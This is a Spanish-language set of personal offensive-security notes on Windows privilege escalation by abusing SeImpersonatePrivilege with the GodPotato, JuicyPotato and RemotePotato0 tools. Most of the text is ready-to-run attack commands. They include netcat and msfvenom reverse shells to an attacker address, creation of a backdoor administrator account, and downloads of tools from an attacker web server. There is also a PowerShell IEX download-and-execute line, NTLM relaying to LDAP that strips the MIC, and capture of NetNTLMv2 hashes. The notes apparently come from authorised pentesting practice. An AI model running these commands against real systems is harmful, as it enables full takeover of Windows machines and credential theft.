Skip to content

#ActiveDirectory #privesc #seimpersonateprivilege #windows

Potatos: engañar a un servicio privilegiado de Windows para que se autentique contra un servidor controlado por el atacante, capturar esa autenticación y reutilizarla (retransmitirla) para ganar control total.


SeImpersonatePrivilege

GitHub - BeichenDream/GodPotato

bash
.\gp.exe -cmd "nc64.exe -e cmd.exe IP ATACANTE PUERTO"

O crear un nuevo usuario admin

bash
net user m0b Password123! /add
net localgroup Administrators m0b /add
net localgroup "Remote Management Users" m0b /add

Si no va así probaremos con JuicyPotato (versión de 32 o 64 bits):

powershell
powershell -c Invoke-WebRequest -Uri "http://IP:PORT/nc.exe" -OutFile nc.exe
powershell -c Invoke-WebRequest -Uri "http://IP:PORT/JuicyPotato.exe" -OutFile JuicyPotato.exe
powershell -c Invoke-WebRequest -Uri "http://IP:PORT/rshell.bat" -OutFile rshell.bat

rshell.bat

bash
C:\Users\kohsuke\AppData\Local\Temp\pentesting\nc.exe -e powershell.exe IP PORT
bash
sudo rlwrap -cAr nc -lvnp PORT
bash
./jp.exe -p ./rshell.bat -l 3333 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"

Usar otro CLSID según versión de Windows

juicy-potato/CLSID at master · ohpe/juicy-potato · GitHub

Probar con shell de msfvenom (32 o 64 bits)

BAsh
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe -o revShell.exe

RemotePotato0

Le decimos a un servicio DCOM (que se ejecuta bajo la identidad del usuario que tiene la sesión activa actualmente en la máquina) que trate de cargar el servicio de nuestra dirección de red. Nos montamos un servidor RPC y rebotamos la autenticación NTLM hacia la máquina víctima de nuevo, recogemos el hash NTLMv2 del usuario. Si la autenticación por NTLM estuviese habilitado en el entorno, se podría rebotar a LDAP para hacer RBCD por ejemplo (tampoco tiene que estar firmado)

Modo 1: Rebotar hash NetNTLMv2
  • Requiere LDAP signing y binding deshabilitado
  • Vulnerable a DropTheMIC en muchos casos
bash
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:192.168.100.2:9999

Con ldap o ldaps , dependerá lo que queramos hacer

bash
sudo ntlmrelayx.py -t ldap://10.129.244.95 -smb2support --no-wcf-server --remove-mic --no-dump --no-da --no-acl --no-validate-privs -i
bash
.\RemotePotato0.exe -m 0 -s 1 -r 10.10.15.3 -x 10.10.15.3 -p 9999
Modo 2: Capturar hash NetNTLMv2

Necesario :

  • Que haya un usuario logueado en la máquina
bash
IEX(New-Object Net.WebClient).downloadString('http://10.10.15.3/Invoke-RunasCs.ps1')

Podemos usar un logon type 9 (que usa las creds actuales) + unas creds falsas

bash
Invoke-RunasCs -Username 0xEr3bus -Password 0xEr3bus -LogonType 9 -Command qwinsta
  • Tenemos que estar logueados en la sesión 0 (por el servicio winrm)
  • Y la víctima en la sesión 1

En nuestra máquina nos ponemos en escucha por el puerto 135 y hacemos el forwarding por el 9999 de vuelta a la máquina (porque en la máquina no podemos escuchar en la 135 porque ya está ocupado por un puerto legítimo de rpc)

bash
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:IPVICTIMA:9999

Modo 2 : capturar NetNTLMv2 y hacer potato sobre la sesión 1

bash
.\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.2

Deberíamos ver el hash del usuario de la sesión 1 por pantalla.

Notas personales de seguridad ofensiva.